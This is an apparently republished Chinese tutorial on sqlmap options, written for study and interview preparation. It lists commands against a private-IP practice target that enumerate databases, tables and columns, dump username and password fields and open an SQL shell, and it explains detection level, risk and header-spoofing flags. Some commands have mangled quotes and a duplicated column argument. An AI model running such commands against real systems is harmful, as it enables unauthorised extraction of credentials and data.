sqlmap参数介绍
如果存在sql注入,获取数据过程
获取数据库 sqlmap -u “ http://192.168.120.249/baji/vul/sql/show1.php?id=1” --dbs 获取当前数据库 sqlmap -u “ http://192.168.120.249/baji/vul/sql/show1.php?id=1” --current-db 获取数据库中的表 sqlmap -u “ http://192.168.120.249/baji/vul/sql/show1.php?id=1” -D baji --tables 获取数据库中表的列 sqlmap -u “ http://192.168.120.249/baji/vul/sql/show1.php?id=1” -D baji -T users --columns 获取表中的数据 sqlmap -u “ http://192.168.120.249/baji/vul/sql/show1.php?id=1” -D baji -T users -C users “username,password” --dump 显示5条数据 sqlmap -u “ http://192.168.120.249/baji/vul/sql/show1.php?id=1” -D baji -T users -C users “username,password” --dump --start=1 --stop=5 设置http数据包的相关参数 –cookie –user-agent**** –random-agent –referer **** –delay –timeout 测试指定的参数***(面试会问) –skip 探测等级(sqlmap -r情况下) 探测风险等级*** –prefix –sql-query –sql-shell sqlmap -u “http://192.168.120.249/baji/vul/sql/show1.php?id=1” --sql-shell sqlmap -u 目标url-r REQUESTFILE(requestFile)从一个文件中载入的HTTP请求-v 显示详细信息 默认为10、只显示python错误以及严重的信息。1、同时显示基本信息和警告信息2、同时显示debug信息3、同时显示注入的payload4、同时显示http请求5、同时显示http响应头6、同时显示Http响应页面–data=“以post提交的参数,多个参数用&链接”–delay 可以设定两个http请求间的延迟–timeout 可以设定一个http请求超过对久判定为超时,默认是30秒–p 指定你要测试的参数–level共有五个等级,默认为1,sqlmap使用的payload可以在xml/payloads.xml中看到,自己也可以根据相应的格式添加自己 的payload。level>=2的时候就会测试HTTP Cookie。level>=3的时候就会测试HTTP User-Agent/Referer头。level=5 的时候会测试HTTP Host。–risk 默认是1会测试大部分的测试语句,2会增加基于时间的测试语句,–dbs 所有数据库–tables -D 列出指定数据库的表 -T 指定表名 --columns 获取列 --count 获取有几行数据 -C 读取数据(例如-C “username,password”) --dump 导出数据 (编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |